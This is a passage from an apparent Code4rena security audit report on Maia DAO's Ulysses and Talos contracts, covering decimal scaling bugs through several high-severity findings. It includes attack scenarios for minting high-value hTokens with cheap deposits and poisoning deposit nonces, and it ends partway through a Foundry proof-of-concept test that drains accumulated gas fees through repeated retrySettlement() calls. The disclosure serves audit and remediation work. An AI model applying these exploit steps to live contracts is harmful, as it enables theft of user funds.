The result is that for tokens with > 18 decimals, _normalizeDecimals() will overscale the decimals, while for tokens with < 18 decimals, _normalizeDecimals() will underscale the decimals.

https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/BranchBridgeAgent.sol#L1340-L1342

    function _normalizeDecimals(uint256 _amount, uint8 _decimals) internal pure returns (uint256) {
        return _decimals == 18 ? _amount : _amount * (10 ** _decimals) / 1 ether;
    }

https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/BranchPort.sol#L388-L390

    function _denormalizeDecimals(uint256 _amount, uint8 _decimals) internal pure returns (uint256) {
        return _decimals == 18 ? _amount : _amount * 1 ether / (10 ** _decimals);
    }

Issue #2

The function ArbitrumBranchPort.depositToPort() is missing the call _denormalizeDecimals() to scale back the decimals of the underlying token amounts before transferring. This will cause the wrong amount of the underlying tokens to be transferred.

As shown below, the function ArbitrumBranchBridgeAgent.depositToPort() has normalized the “amount” to 18 decimals before passing into ArbitrumBranchPort.depositToPort().

https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/ArbitrumBranchBridgeAgent.sol#L104

    function depositToPort(address underlyingAddress, uint256 amount) external payable lock {

        //@audit - amount is normalized to 18 decimals here
        IArbPort(localPortAddress).depositToPort(
            msg.sender, msg.sender, underlyingAddress, _normalizeDecimals(amount, ERC20(underlyingAddress).decimals())
        );
    }

That means, the _deposit amount for ArbitrumBranchPort.depositToPort() (see below) will be incorrect, as it is not de-normalized back to the underlying token’s decimal, causing the wrong value to be transferred from the depositor.

If the underlying token is more than 18 decimals, the depositor will transfer less underlying tokens than the hToken received, resulting in excess hTokens. The depositor can then call withdrawFromPort() to receive more underlying tokens than deposited.

If the underlying token is less than 18 decimals, that will inflate the amount to be transferred from the depositor, causing the depositor to deposit more underlying tokens than the amount of hToken received. The depositor will incur a loss when withdrawing from the port.

Instead, the _deposit should be de-normalized in ArbitrumBranchPort.depositToPort() when passing to _underlyingAddress.safeTransferFrom(), so that it is scaled back to the underlying token’s decimals when transferring.

https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/ArbitrumBranchPort.sol#L52-L54

    function depositToPort(address _depositor, address _recipient, address _underlyingAddress, uint256 _deposit)
        external
        requiresBridgeAgent
    {
        address globalToken = IRootPort(rootPortAddress).getLocalTokenFromUnder(_underlyingAddress, localChainId);
        if (globalToken == address(0)) revert UnknownUnderlyingToken();

        //@audit - the amount of underlying token should be denormalized first before transferring
        _underlyingAddress.safeTransferFrom(_depositor, address(this), _deposit);

        IRootPort(rootPortAddress).mintToLocalBranch(_recipient, globalToken, _deposit);
    }

Issue #3

In BranchBridgeAgent, the deposit amount passed into _depositAndCall() and _depositAndCallMultiple() are missing _normalizeDecimals().

The example below shows callOutSignedAndBridge(), but the issue is also present in callOutAndBridge(), callOutSignedAndBridgeMultiple() and callOutAndBridgeMultiple().

https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/BranchBridgeAgent.sol#L269

    function callOutSignedAndBridge(bytes calldata _params, DepositInput memory _dParams, uint128 _remoteExecutionGas)
        external
        payable
        lock
        requiresFallbackGas
    {
        //Encode Data for cross-chain call.
        bytes memory packedData = abi.encodePacked(
            bytes1(0x05),
            msg.sender,
            depositNonce,
            _dParams.hToken,
            _dParams.token,
            _dParams.amount,
            _normalizeDecimals(_dParams.deposit, ERC20(_dParams.token).decimals()),
            _dParams.toChain,
            _params,
            msg.value.toUint128(),
            _remoteExecutionGas
        );

        //Wrap the gas allocated for omnichain execution.
        wrappedNativeToken.deposit{value: msg.value}();

        //Create Deposit and Send Cross-Chain request
        _depositAndCall(
            msg.sender,
            packedData,
            _dParams.hToken,
            _dParams.token,
            _dParams.amount,
            //@audit - the deposit amount of underlying token should be noramlized first
            _dParams.deposit,
            msg.value.toUint128()
        );
    }

This will affect _createDepositSingle() and _createDepositMultiple(), leading to incorrect decimals for IPort(localPortAddress).bridgeOut(), which will affect hToken burning and the deposit of underlying tokens.

At the same time, the deposits to be stored in getDeposit[] are also not normalized, causing a mismatch of decimals when clearToken() is called via redeemDeposit().

https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/BranchBridgeAgent.sol#L857-L891

    function _createDepositSingle(
        address _user,
        address _hToken,
        address _token,
        uint256 _amount,
        uint256 _deposit,
        uint128 _gasToBridgeOut
    ) internal {
        //Deposit / Lock Tokens into Port
        IPort(localPortAddress).bridgeOut(_user, _hToken, _token, _amount, _deposit);

        //Deposit Gas to Port
        _depositGas(_gasToBridgeOut);

        // Cast to dynamic memory array
        address[] memory hTokens = new address[](1);
        hTokens[0] = _hToken;
        address[] memory tokens = new address[](1);
        tokens[0] = _token;
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = _amount;
        uint256[] memory deposits = new uint256[](1);
        deposits[0] = _deposit;

        // Update State
        getDeposit[_getAndIncrementDepositNonce()] = Deposit({
            owner: _user,
            hTokens: hTokens,
            tokens: tokens,
            amounts: amounts,
            //@audit the deposits stored is not normalized, causing a mismatch of decimals when `clearToken()` is called via `redeemDeposit()`
            deposits: deposits,
            status: DepositStatus.Success,
            depositedGas: _gasToBridgeOut
        });
    }
  1. Switch the implementation of _normalizeDecimals() to _denormalizeDecimals() and vice versa.
  2. Add _denormalizeDecimals() to ArbitrumBranchPort.depositToPort() when calling IRootPort(rootPortAddress).mintToLocalBranch().
  3. Utilize _normalizeDecimals() when passing deposit amounts to _depositAndCall() and _depositAndCallMultiple() within BranchBridgeAgent.

Assessed type

Decimal

0xLightt (Maia) confirmed

0xBugsy (Maia) commented:

We recognize the audit’s findings on Decimal Conversion for Ulysses AMM. These will not be rectified due to the upcoming migration of this section to Balancer Stable Pools.


[H-06] withdrawProtocolFees() Possible malicious or accidental withdrawal of all rewards

Submitted by bin2chen, also found by lukejohn and tsvetanovv (1, 2)

The function claimReward() will take all of the rewards if the amountRequested it’s passed in is 0, which may result in the user’s rewards being lost.

Proof of Concept

In BoostAggregator.withdrawProtocolFees(), the owner can take the protocolRewards.

The code is as follows:

    function withdrawProtocolFees(address to) external onlyOwner {
        uniswapV3Staker.claimReward(to, protocolRewards);
@>      delete protocolRewards;
    }

From the above code, we can see that uniswapV3Staker is called to fetch and then clears protocolRewards.

Let’s look at the implementation of uniswapV3Staker.claimReward():

contract UniswapV3Staker is IUniswapV3Staker, Multicallable {
....
    function claimReward(address to, uint256 amountRequested) external returns (uint256 reward) {
        reward = rewards[msg.sender];
@>      if (amountRequested != 0 && amountRequested < reward) {
            reward = amountRequested;
            rewards[msg.sender] -= reward;
        } else {
            rewards[msg.sender] = 0;
        }

        if (reward > 0) hermes.safeTransfer(to, reward);

        emit RewardClaimed(to, reward);
    }

The current implementation is if the amountRequested==0 passed, it means that all rewards[msg.sender] of this msg.sender are taken.

This leads to the following problems:

  1. If a malicious owner calls withdrawProtocolFees() twice in a row, it will take all of the rewards in the BoostAggregator.
  2. Also, you probably didn’t realize that withdrawProtocolFees() was called when protocolRewards==0.

As a result, the rewards that belong to users in BoostAggregator are lost.

Modify claimReward() to remove amountRequested != 0:

contract UniswapV3Staker is IUniswapV3Staker, Multicallable {
....
    function claimReward(address to, uint256 amountRequested) external returns (uint256 reward) {
        reward = rewards[msg.sender];
-       if (amountRequested != 0 && amountRequested < reward) {        
+       if (amountRequested < reward) {
            reward = amountRequested;
            rewards[msg.sender] -= reward;
        } else {
            rewards[msg.sender] = 0;
        }

        if (reward > 0) hermes.safeTransfer(to, reward);

        emit RewardClaimed(to, reward);
    }

Assessed type

Context

0xLightt (Maia) confirmed

0xLightt (Maia) commented:

We prefer to leave the original UniswapV3Staker claim logic intact and have the BoostAggregator not allow the owner or stakers to claim 0 rewards.

0xLightt (Maia) commented:

Addressed here.


[H-07] redeem() in beforeRedeem is using the wrong owner parameter

Submitted by bin2chen

Using the wrong owner parameter can cause users to lose rewards.

Proof of Concept

In TalosStrategyStaked.sol, if the user’s shares have changed, we need to call flywheel.accrue() first, which will accrue rewards and update the corresponding userIndex. This way, we can ensure the accuracy of rewards. So we will call flywheel.accrue() before beforeDeposit/beforeRedeem/transfer etc.

Take redeem() as an example, the code is as follows:

contract TalosStrategyStaked is TalosStrategySimple, ITalosStrategyStaked {
...

    function beforeRedeem(uint256 _tokenId, address _owner) internal override {
        _earnFees(_tokenId);
@>      flywheel.accrue(_owner);
    }

But when beforeRedeem() is called with the wrong owner passed in. The redeem() code is as follows:

    function redeem(uint256 shares, uint256 amount0Min, uint256 amount1Min, address receiver, address _owner)
        public
        virtual
        override
        nonReentrant
        checkDeviation
        returns (uint256 amount0, uint256 amount1)
    {
...
        if (msg.sender != _owner) {
            uint256 allowed = allowance[_owner][msg.sender]; // Saves gas for limited approvals.

            if (allowed != type(uint256).max) allowance[_owner][msg.sender] = allowed - shares;
        }

        if (shares == 0) revert RedeemingZeroShares();
        if (receiver == address(0)) revert ReceiverIsZeroAddress();

        uint256 _tokenId = tokenId;
@>      beforeRedeem(_tokenId, receiver);

        INonfungiblePositionManager _nonfungiblePositionManager = nonfungiblePositionManager; // Saves an extra SLOAD
        {
            uint128 liquidityToDecrease = uint128((liquidity * shares) / totalSupply);

            (amount0, amount1) = _nonfungiblePositionManager.decreaseLiquidity(
                INonfungiblePositionManager.DecreaseLiquidityParams({
                    tokenId: _tokenId,
                    liquidity: liquidityToDecrease,
                    amount0Min: amount0Min,
                    amount1Min: amount1Min,
                    deadline: block.timestamp
                })
            );

            if (amount0 == 0 && amount1 == 0) revert AmountsAreZero();

@>          _burn(_owner, shares);

            liquidity -= liquidityToDecrease;
        }    

From the above code, we see that the parameter is the receiver, but the person whose shares are burned is _owner.

We need to accrue _owner, not receiver. This leads to a direct reduction of the user’s shares without accrue, and the user loses the corresponding rewards.

    function redeem(uint256 shares, uint256 amount0Min, uint256 amount1Min, address receiver, address _owner)
        public
        virtual
        override
        nonReentrant
        checkDeviation
        returns (uint256 amount0, uint256 amount1)
    {
        if (msg.sender != _owner) {
            uint256 allowed = allowance[_owner][msg.sender]; // Saves gas for limited approvals.

            if (allowed != type(uint256).max) allowance[_owner][msg.sender] = allowed - shares;
        }

        if (shares == 0) revert RedeemingZeroShares();
        if (receiver == address(0)) revert ReceiverIsZeroAddress();

        uint256 _tokenId = tokenId;
-       beforeRedeem(_tokenId, receiver);
+       beforeRedeem(_tokenId, _owner);

Assessed type

Context

0xLightt (Maia) confirmed

0xLightt (Maia) commented:

Addressed here.


[H-08] Due to inadequate checks, an adversary can call BranchBridgeAgent#retrieveDeposit with an invalid _depositNonce, which would lead to a loss of other users’ deposits.

Submitted by Emmanuel, also found by xuwinnie

An attacker will cause the user’s funds to be collected and locked on Branch chain without it being recorded on the root chain.

Proof of Concept

Anyone can call BranchBridgeAgent#retrieveDeposit with an invalid _depositNonce:

function retrieveDeposit(
        uint32 _depositNonce
    ) external payable lock requiresFallbackGas {
        //Encode Data for cross-chain call.
        bytes memory packedData = abi.encodePacked(
            bytes1(0x08),
            _depositNonce,
            msg.value.toUint128(),
            uint128(0)
        );

        //Update State and Perform Call
        _sendRetrieveOrRetry(packedData);
    }

For example, if global depositNonce is “x”, an attacker can call retrieveDeposit(x+y). RootBridgeAgent#anyExecute will be called and the executionHistory for the depositNonce that the attacker specified would be updated to true.

    function anyExecute(bytes calldata data){
        ...
    /// DEPOSIT FLAG: 8 (retrieveDeposit)
    else if (flag == 0x08) {
    //Get nonce
    uint32 nonce = uint32(bytes4(data[1:5]));

    //Check if tx has already been executed
    if (!executionHistory[fromChainId][uint32(bytes4(data[1:5]))]) {
        //Toggle Nonce as executed
        executionHistory[fromChainId][nonce] = true;

        //Retry failed fallback
        (success, result) = (false, "");
    } else {
        _forceRevert();
        //Return true to avoid triggering anyFallback in case of `_forceRevert()` failure
        return (true, "already executed tx");
    }
    }
    ...
    }

This means, that when a user makes a deposit on the BranchBridgeAgent and their deposit gets assigned a depositNonce, which the attacker previously called retrieveDeposit for, their tokens would be collected on the BranchBridgeAgent, but would not succeed on RootBridgeAgent. This is because executionHistory for that depositNonce has already been maliciously set to true.

Attack Scenario

  • The current global depositNonce is 50.
  • An attacker calls retrieveDeposit(60), which would update executionHistory of depositNonce(60) to true on the Root chain.
  • When a user tries to call any of the functions (say callOutAndBridge) and gets assigned depositNonce of 60, it won’t be executed on root chain because executionHistory for depositNonce(60) is already set to true.
  • A user won’t also be able to claim their tokens because anyFallback was not triggered. So they have lost their deposit.

A very simple and effective solution is to ensure that in the BranchBridgeAgent#retrieveDepoit function, msg.sender==getDeposit[_depositNonce].owner is called just like it was done in BranchBridgeAgent#retryDeposit.

Assessed type

Invalid Validation

0xBugsy (Maia) confirmed

0xLightt (Maia) commented:

Addressed here.


[H-09] RootBridgeAgent->CheckParamsLib#checkParams does not check that _dParams.token is underlying of _dParams.hToken

Submitted by Emmanuel, also found by xuwinnie

A malicious user would make a deposit specifying a hToken of a high value (say hEther), and a depositToken of relatively lower value (say USDC). For that user, RootBridgeAgent would increment their hToken balance by the amount of depositTokens they sent.

Proof of Concept

Here is the checkParams function:

function checkParams(address _localPortAddress, DepositParams memory _dParams, uint24 _fromChain)
        internal
        view
        returns (bool)
    {
        if (
            (_dParams.amount < _dParams.deposit) //Deposit can't be greater than amount.
                || (_dParams.amount > 0 && !IPort(_localPortAddress).isLocalToken(_dParams.hToken, _fromChain)) //Check local exists.
                || (_dParams.deposit > 0 && !IPort(_localPortAddress).isUnderlyingToken(_dParams.token, _fromChain)) //Check underlying exists.
        ) {
            return false;
        }
        return true;
    }

The function performs 3 checks:

  1. The _dParams.amount must be less than or equal to _dParams.deposit.
  2. If _dParams.amount > 0, _dParams.hToken must be a valid localToken.
  3. If _dParams.deposit > 0, _dParams.token must be a valid underlying token.

The problem is that the check only requires getLocalTokenFromUnder[_dParams.token]!=address(0), but does not check that getLocalTokenFromUnder[_dParams.token]==_dParams.hToken:

    function isUnderlyingToken(
        address _underlyingToken,
        uint24 _fromChain
    ) external view returns (bool) {
        return
            getLocalTokenFromUnder[_underlyingToken][_fromChain] != address(0);
    }

The checkParams function is used in the RootBridgeAgent#bridgeIn function. This allows a user to call BranchBridgeAgent#callOutAndBridge with a hToken and token that are not related.

ATTACK SCENARIO

  • The current price of Ether is 1800USDC.
  • RootBridgeAgent is deployed on Arbitrum.
  • BranchBridgeAgent for the Ethereum mainnet has two local tokens recorded in RootBridgeAgent:

    • hEther (whose underlying is Ether).
    • hUSDC (whose underlying is USDC).
  • Alice calls BranchBridgeAgent#callOutAndBridge on Ethereum with the following as DepositInput(_dParams):

    • hToken (address of local hEther).
    • token (address of USDC).
    • amount (0).
    • deposit (10).
    • toChain (42161).
  • BranchPort#bridgeOut transfers 10 USDC from the user to BranchPort, and the anyCall call is made to RootBridgeAgent.
  • RootBridgeAgent#bridgeIn is called, which calls CheckParamsLib.checkParams.

    • checkParams verifies that _dParams.amount(0) is less than or equal to _dParams.deposit (10).
    • Verifies that _dParams.hToken (hEther) is a valid localToken.
    • Verifies that _dParams.token (USDC) is a valid underlying token (i.e. its local token is non zero).
  • RootBridgeAgent#bridgeIn calls RootPort#bridgeToRoot which mints 10 global hEther to the user if (_deposit > 0) mint(_recipient, _hToken, _deposit, _fromChainId);.
  • With just 10 USDC, the user has been able to get 10 ether (18000USDC) worth of funds on the root chain.

Execution flow: BranchBridgeAgent#callOutAndBridge -> BranchBridgeAgent#_callOutAndBridge -> BranchBridgeAgent#_depositAndCall -> BranchBridgeAgent#_performCall -> RootBridgeAgent#anyExecute -> RootBridgeAgentExecutor#executeWithDeposit -> RootBridgeAgentExecutor#_bridgeIn -> RootBridgeAgent#bridgeIn.

Currently, the protocol only checks to see if the token is recognized by rootport as an underlying token by checking that the registered local token for _dParams.token is a non zero address.

Instead of that, it would be more effective to check that the registered local token for _dParams.token is equal to _dParams.hToken. Some sanity checks may also be done on DepositInput(_dParams) in BranchBridgeAgent. Although, this is not necessary.

Assessed type

Invalid Validation

0xBugsy (Maia) confirmed

0xLightt (Maia) commented:

Addressed here.


[H-10] TalosBaseStrategy#init() lacks slippage protection

Submitted by AlexCzm, also found by los_chicos, said, and T1MOH

The checkDeviations modifier’s purpose is to add slippage protection for an increase/decrease in liquidity operations. It’s applied to deposit/redeem, rerange/rebalance but init() is missing it.

Impact

There is no slippage protection on init().

Proof of Concept

In the init() function of TalosBaseStrategy, the following actions are performed: an initial deposit is made, a tokenId and shares are minted.

The _nonfungiblePositionManager.mint() function is called with hardcoded values of amount0Min and amount1Min both set to 0. Additionally, it should be noted that the init() function does not utilize the checkDeviation modifier, which was specifically designed to safeguard users against slippage.

    function init(uint256 amount0Desired, uint256 amount1Desired, address receiver)
        external
        virtual
        nonReentrant
        returns (uint256 shares, uint256 amount0, uint256 amount1)
    {
    ...
        (_tokenId, _liquidity, amount0, amount1) = _nonfungiblePositionManager.mint(
            INonfungiblePositionManager.MintParams({
                token0: address(_token0),
                token1: address(_token1),
                fee: poolFee,
                tickLower: tickLower,
                tickUpper: tickUpper,
                amount0Desired: amount0Desired,
                amount1Desired: amount1Desired,
                amount0Min: 0,
                amount1Min: 0,
                recipient: address(this),
                deadline: block.timestamp
            })
        );
        ...

https://github.com/Maia-DAO/maia-ecosystem-monorepo/blob/2f6e87348877684aa0c12aec204fea210cfbe6eb/src/scope/talos/base/TalosBaseStrategy.sol#L99-L147

    /// @notice Function modifier that checks if price has not moved a lot recently.
    /// This mitigates price manipulation during rebalance and also prevents placing orders when it's too volatile.
    modifier checkDeviation() {
        ITalosOptimizer _optimizer = optimizer;
        pool.checkDeviation(_optimizer.maxTwapDeviation(), _optimizer.twapDuration());
        _;
    }

https://github.com/Maia-DAO/maia-ecosystem-monorepo/blob/2f6e87348877684aa0c12aec204fea210cfbe6eb/src/scope/talos/base/TalosBaseStrategy.sol#L419-L425

Tools Used

VS Code, uniswapv3book

Apply checkDeviation to init() function.

Trust (judge) increased severity to High

0xLightt (Maia) confirmed

0xLightt (Maia) commented:

Addressed here.


[H-11] An attacker can steal Accumulated Awards from RootBridgeAgent by abusing retrySettlement()

Submitted by Voyvoda, also found by xuwinnie

Lines of code

https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/BranchBridgeAgent.sol#L238-L272
https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/BranchBridgeAgent.sol#L1018-L1054
https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/RootBridgeAgent.sol#L860-L1174
https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/RootBridgeAgent.sol#L244-L252
https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/VirtualAccount.sol#L41-L53
https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/RootBridgeAgent.sol#L1177-L1216
https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/MulticallRootRouter.sol#L345-L409

The Accumulated Awards inside RootBridgeAgent.sol can be stolen. The Accumulated Awards state will be compromised and awards will be stuck.

Proof of Concept

Note: An end-to-end coded PoC is at the end of the PoC section.

Gas state

The gas related state inside RootBridgeAgent consists of:

  • initialGas: a checkpoint that records gasleft() at the start of anyExecute that has been called by Multichain when we have a cross-chain call.
  • userFeeInfo: this is a struct that contains depositedGas which is the total amount of gas that the user has paid for on a BranchChain. The struct also contains gasToBridgeOut, which is the amount of gas to be used for further cross-chain executions. The assumption is that gasToBridgeOut < depositedGas which is checked at the start of anyExecute(...).
  • At the end of anyExecute(...): the function _payExecutionGas() is invoked that calculates the supplied gas available for execution on the Root avaliableGas = _depositedGas - _gasToBridgeOut and then a check is performed if availableGas is enough to cover minExecCost, (which uses the initialGas checkpoint and subtracts a second gasleft() checkpoint to represent the end of execution on the Root). The difference between availableGas and minExecCost is the profit for the protocol is recorded inside accumulatedFees state variable.
function _payExecutionGas(uint128 _depositedGas, uint128 _gasToBridgeOut, uint256 _initialGas, uint24 _fromChain)
        internal
    {
        //reset initial remote execution gas and remote execution fee information
        delete(initialGas);
        delete(userFeeInfo);

        if (_fromChain == localChainId) return;

        //Get Available Gas
        uint256 availableGas = _depositedGas - _gasToBridgeOut;

        //Get Root Environment Execution Cost
        uint256 minExecCost = tx.gasprice * (MIN_EXECUTION_OVERHEAD + _initialGas - gasleft());

        //Check if sufficient balance
        if (minExecCost > availableGas) {
            _forceRevert();
            return;
        }

        //Replenish Gas
        _replenishGas(minExecCost);

        //Account for excess gas
        accumulatedFees += availableGas - minExecCost;
    }

Settlements

These are records of tokens that are “bridged out” (transferred) through the RootBridgeAgent to a BranchBridgeAgent. By default, when a settlement is created it is “successful”, unless the execution on the Branch Chain fails and anyFallback(...) is called on the RootBridgeAgent, which will set the settlement status as “failed”.

An example way to create a settlement, will be to “bridge out” some of the assets from BranchBridgeAgent to RootBridgeAgent and embed extra data that represents another bridge operation from RootBridgeAgent to BranchBridgeAgent. This flow passes through the MulticallRootRouter and could be the same branch agent as the first one or different. At this point, a settlement will be created. Moreover, a settlement could fail, for example, because of insufficient gasToBridgeOut provided by the user. In that case, anyFallback is triggered on the RootBridgeAgent, failing the settlement. At this time, retrySettlement() becomes available to call for the particular settlement.

The attack

Let’s first examine closely the retrySettlement() function:

function retrySettlement(uint32 _settlementNonce, uint128 _remoteExecutionGas) external payable {
        //Update User Gas available.
        if (initialGas == 0) {
            userFeeInfo.depositedGas = uint128(msg.value);
            userFeeInfo.gasToBridgeOut = _remoteExecutionGas;
        }
        //Clear Settlement with updated gas.
        _retrySettlement(_settlementNonce);
    }

If initialGas == 0, it is assumed that someone directly calls retrySettlement(...) and therefore has to deposit gas (msg.value). However, if initialGas > 0, it is assumed that retrySettlement(...) could be part of an anyExecute(...) call that contained instructions for the MulticallRootRouter to do the call through a VirtualAccount. Let’s assume the second scenario where initialGas > 0 and examine the internal _retrySettlement:

First, we have the call to _manageGasOut(...), where again if initialGas > 0, we assume that the retrySettlement(...) is within anyExecute; therefore, the userFeeInfo state is already set. From there, we perform a _gasSwapOut(...) with userFeeInfo.gasToBridgeOut where we swap the gasToBridgeOut amount of wrappedNative for gas tokens that are burned. Then, back in the internal _retrySettlement(...), the new gas is recorded in the settlement record and the message is sent to a Branch Chain via anyCall.

The weakness here, is that after we retry a settlement with userFeeInfo.gasToBridgeOut we do not set userFeeInfo.gasToBridgeOut = 0. Which if we perform only 1 retrySettlement(...), it is not exploitable; however, if we embed in a single anyExecute(...) in several retrySettlement(...) calls, it becomes obvious that we can pay 1 time for gasToBridgeOut on a Branch Chain and use it multiple times on the RootChain to fuel the many retrySettlement(...) calls.

The second feature that will be part of the attack, is that on a Branch Chain we get refunded for the excess of gasToBridgeOut that wasn’t used for execution on the Branch Chain.

function _retrySettlement(uint32 _settlementNonce) internal returns (bool) {
        //Get Settlement
        Settlement memory settlement = getSettlement[_settlementNonce];

        //Check if Settlement hasn't been redeemed.
        if (settlement.owner == address(0)) return false;

        //abi encodePacked
        bytes memory newGas = abi.encodePacked(_manageGasOut(settlement.toChain));

        //overwrite last 16bytes of callData
        for (uint256 i = 0; i < newGas.length;) {
            settlement.callData[settlement.callData.length - 16 + i] = newGas[i];
            unchecked {
                ++i;
            }
        }

        Settlement storage settlementReference = getSettlement[_settlementNonce];

        //Update Gas To Bridge Out
        settlementReference.gasToBridgeOut = userFeeInfo.gasToBridgeOut;

        //Set Settlement Calldata to send to Branch Chain
        settlementReference.callData = settlement.callData;

        //Update Settlement Status
        settlementReference.status = SettlementStatus.Success;

        //Retry call with additional gas
        _performCall(settlement.callData, settlement.toChain);

        //Retry Success
        return true;
    }

An attacker will trigger some number of callOutAndBridge(...) invocations from a Branch Chain, with some assets and extra data that will call callOutAndBridge(...) on the Root Chain to transfer back these assets to the originating Branch Chain (or any other Branch Chain). However, the attacker will set minimum depositedGas to ensure execution on the Root Chain, but insufficient gas to complete remote execution on the Branch Chain; therefore, failing a number of settlements. The attacker will then follow with a callOutAndBridge(...) from a Branch Chain that contains extra data for the MutlicallRouter and for the VirtualAccount to call retrySettlement(...) for every “failed” settlement. Since we will have multiple retrySettlement(...) invocations inside a single anyExecute, at some point the gasToBridgeOut sent to each settlement will become > the deposited gas and we will be spending from the Root Branch reserves (accumulated rewards). The attacker will redeem their profit on the Branch Chain, since they get a gas refund. Therefore, there will also be a mismatch between accumulatedRewards and the native currency in RootBridgeAgent, causing sweep() to revert and any accumulatedRewards left will be bricked.

Coded PoC

Copy the two functions testGasIssue and _prepareDeposit in test/ulysses-omnichain/RootTest.t.sol and place them in the RootTest contract after the setup.

Execute with forge test --match-test testGasIssue -vv.

Result: the attacker starts with 1000000000000000000 wei (1 ether) and has 1169999892307980000 wei (>1 ether) after the execution of the attack (the end number could be slightly different, depending on foundry version), which is a mismatch between accumulatedRewards and the amount of WETH in the contract.

Note - there are console logs added from the developers in some of the mock contracts. Consider commenting them out for clarity of the output.

function testGasIssue() public {
        testAddLocalTokenArbitrum();
        console2.log("---------------------------------------------------------");
        console2.log("-------------------- GAS ISSUE START---------------------");
        console2.log("---------------------------------------------------------");
        // Accumulate rewards in RootBridgeAgent
        address some_user = address(0xAAEE);
        hevm.deal(some_user, 1.5 ether);
        // Not a valid flag, MulticallRouter will return false, that's fine, we just want to credit some fees
        bytes memory empty_params = abi.encode(bytes1(0x00));
        hevm.prank(some_user);
        avaxMulticallBridgeAgent.callOut{value: 1.1 ether }(empty_params, 0);

        // Get the global(root) address for the avax H mock token
        address globalAddress = rootPort.getGlobalTokenFromLocal(avaxMockAssethToken, avaxChainId);

        // Attacker starts with 1 ether
        address attacker = address(0xEEAA);
        hevm.deal(attacker, 1 ether);
        
        // Mint 1 ether of the avax mock underlying token
        hevm.prank(address(avaxPort));
        
        MockERC20(address(avaxMockAssetToken)).mint(attacker, 1 ether);
        
        // Attacker approves the underlying token
        hevm.prank(attacker);
        MockERC20(address(avaxMockAssetToken)).approve(address(avaxPort), 1 ether);

        
        // Print out the amounts of WrappedNative & AccumulateAwards state 
        console2.log("RootBridge WrappedNative START",WETH9(arbitrumWrappedNativeToken).balanceOf(address(multicallBridgeAgent)));
        console2.log("RootBridge ACCUMULATED FEES START", multicallBridgeAgent.accumulatedFees());

        // Attacker's underlying avax mock token balance
        console2.log("Attacker underlying token balance avax", avaxMockAssetToken.balanceOf(attacker));

        // Prepare a single deposit with remote gas that will cause the remote exec from the root to branch to fail
        // We will have to mock this fail since we don't have the MultiChain contracts, but the provided 
        // Mock Anycall has anticipated for that

        DepositInput memory deposit = _prepareDeposit();
        uint128 remoteExecutionGas = 2_000_000_000;

        Multicall2.Call[] memory calls = new Multicall2.Call[](0);

        OutputParams memory outputParams = OutputParams(attacker, globalAddress, 500, 500);
        
        bytes memory params = abi.encodePacked(bytes1(0x02),abi.encode(calls, outputParams, avaxChainId));

        console2.log("ATTACKER ETHER BALANCE START", attacker.balance);

        // Toggle anyCall for 1 call (Bridge -> Root), this config won't do the 2nd anyCall
        // Root -> Bridge (this is how we mock BridgeAgent reverting due to insufficient remote gas)
        MockAnycall(local`AnyCall`Address).toggleFallback(1);

        // execute
        hevm.prank(attacker);
        // in reality we need 0.00000002 (supply a bit more to make sure we don't fail execution on the root)
        avaxMulticallBridgeAgent.callOutSignedAndBridge{value: 0.00000005 ether }(params, deposit, remoteExecutionGas);

        // Switch to normal mode 
        MockAnycall(local`AnyCall`Address).toggleFallback(0);
        // this will call anyFallback() on the Root and Fail the settlement
        MockAnycall(local`AnyCall`Address).testFallback();

        // Repeat for 1 more settlement
        MockAnycall(local`AnyCall`Address).toggleFallback(1);
        hevm.prank(attacker);
        avaxMulticallBridgeAgent.callOutSignedAndBridge{value: 0.00000005 ether}(params, deposit, remoteExecutionGas);
        
        MockAnycall(local`AnyCall`Address).toggleFallback(0);
        MockAnycall(local`AnyCall`Address).testFallback();
        
        // Print out the amounts of WrappedNative & AccumulateAwards state  after failing the settlements but before the attack 
        console2.log("RootBridge WrappedNative AFTER SETTLEMENTS FAILURE BUT BEFORE ATTACK",WETH9(arbitrumWrappedNativeToken).balanceOf(address(multicallBridgeAgent)));
        console2.log("RootBridge ACCUMULATED FEES AFTER SETTLEMENTS FAILURE BUT BEFORE ATTACK", multicallBridgeAgent.accumulatedFees());

        // Encode 2 calls to retrySettlement(), we can use 0 remoteGas arg since 
        // initialGas > 0 because we execute the calls as a part of an anyExecute()
        Multicall2.Call[] memory malicious_calls = new Multicall2.Call[](2);

        bytes4 selector = bytes4(keccak256("retrySettlement(uint32,uint128)"));

        malicious_calls[0] = Multicall2.Call({target: address(multicallBridgeAgent), callData:abi.encodeWithSelector(selector,1,0)});
        malicious_calls[1] = Multicall2.Call({target: address(multicallBridgeAgent), callData:abi.encodeWithSelector(selector,2,0)});
        // malicious_calls[2] = Multicall2.Call({target: address(multicallBridgeAgent), callData:abi.encodeWithSelector(selector,3,0)});
        
        outputParams = OutputParams(attacker, globalAddress, 500, 500);
        
        params = abi.encodePacked(bytes1(0x02),abi.encode(malicious_calls, outputParams, avaxChainId));

        // At this point root now has ~1.1 
        hevm.prank(attacker);
        avaxMulticallBridgeAgent.callOutSignedAndBridge{value: 0.1 ether}(params, deposit, 0.09 ether);
        
        // get attacker's virtual account address
        address vaccount = address(rootPort.getUserAccount(attacker));

        console2.log("ATTACKER underlying balance avax", avaxMockAssetToken.balanceOf(attacker));
        console2.log("ATTACKER global avax h token balance root", ERC20hTokenRoot(globalAddress).balanceOf(vaccount));

